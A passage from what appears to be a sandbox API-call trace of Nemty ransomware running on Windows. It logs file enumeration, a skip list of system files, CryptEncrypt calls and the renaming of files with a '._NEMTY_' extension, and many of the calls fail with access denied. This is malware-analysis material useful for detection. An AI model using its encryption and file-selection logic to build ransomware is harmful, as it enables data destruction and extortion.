ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0164.326] CloseHandle (hObject=0xffffffff) returned 0 [0164.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0164.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0164.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0164.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0164.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_snow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_snow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_snow.png._nemty_kgobjgd_")) returned 0 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.327] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8754ca12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8754ca12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2eda9c15, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x31d5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2=".") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="..") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="...") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="windows") returned -1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="$RECYCLE.BIN") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="rsa") returned -1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="NTDETECT.COM") returned -1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="ntldr") returned -1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="MSDOS.SYS") returned -1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="IO.SYS") returned -1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="boot.ini") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="boot.ini") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="AUTOEXEC.BAT") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="ntuser.dat") returned -1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="desktop.ini") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="CONFIG.SYS") returned 1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="RECYCLER") returned -1 [0164.327] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="BOOTSECT.BAK") returned 1 [0164.328] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="bootmgr") returned 1 [0164.328] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="programdata") returned -1 [0164.328] lstrcmpiW (lpString1="docked_gray_thunderstorm.png", lpString2="appdata") returned 1 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_thunderstorm.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_thunderstorm.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_thunderstorm.png", lpUsedDefaultChar=0x0) returned 28 [0164.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0164.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_thunderstorm.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_thunderstorm.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_thunderstorm.png", lpUsedDefaultChar=0x0) returned 28 [0164.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0164.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_thunderstorm.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_thunderstorm.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_thunderstorm.png", lpUsedDefaultChar=0x0) returned 28 [0164.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_thunderstorm.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_thunderstorm.png", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_thunderstorm.png", lpUsedDefaultChar=0x0) returned 28 [0164.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0164.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0164.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0164.328] Sleep (dwMilliseconds=0x5) [0164.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x159a7a50, dwHighDateTime=0x1d561e8)) [0164.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x159a7a50, dwHighDateTime=0x1d561e8)) [0164.344] GetLastError () returned 0x5 [0164.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.344] GetLastError () returned 0x5 [0164.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0164.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0164.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0164.344] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0164.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0164.344] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="Ac9uPcfW1DhuQnfoMK4lQMM6n5+tT89aCls+oQPI940SxInCrwes6f1lbhAsY+La\r\nfBLHkTRlJdYgPLUnMwBdDShWdYvBV0DX/IljKjauQnyFcC9GNFAkdGuQ6FKbeZbh\r\nRU8nVOqhRHaSvoE7ZOu2nYnF0M/E75vXXc3C2kgQc17DWz53CNXCipHD4e06gYwN\r\nQw8J/odv2ksRpjSeQdvgdHbNnAf8pvYiz8XA7ZZUn+vLS2ziNlG2175KlnwpVh9X\r\nvxCE7gHPvKlcuI66NwBWpTKHoiwgDBS37lHoP3eKBq9X5/0bO8abuUCOKOYj6MVL\r\nU/r4r2fuJgZu5dJf9EDfaA==\r\n", pcchString=0x653e91c) returned 1 [0164.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0164.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0164.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0164.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0164.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0164.344] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_thunderstorm.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_thunderstorm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.347] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0164.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0164.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.375] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.385] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.394] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.394] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.413] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 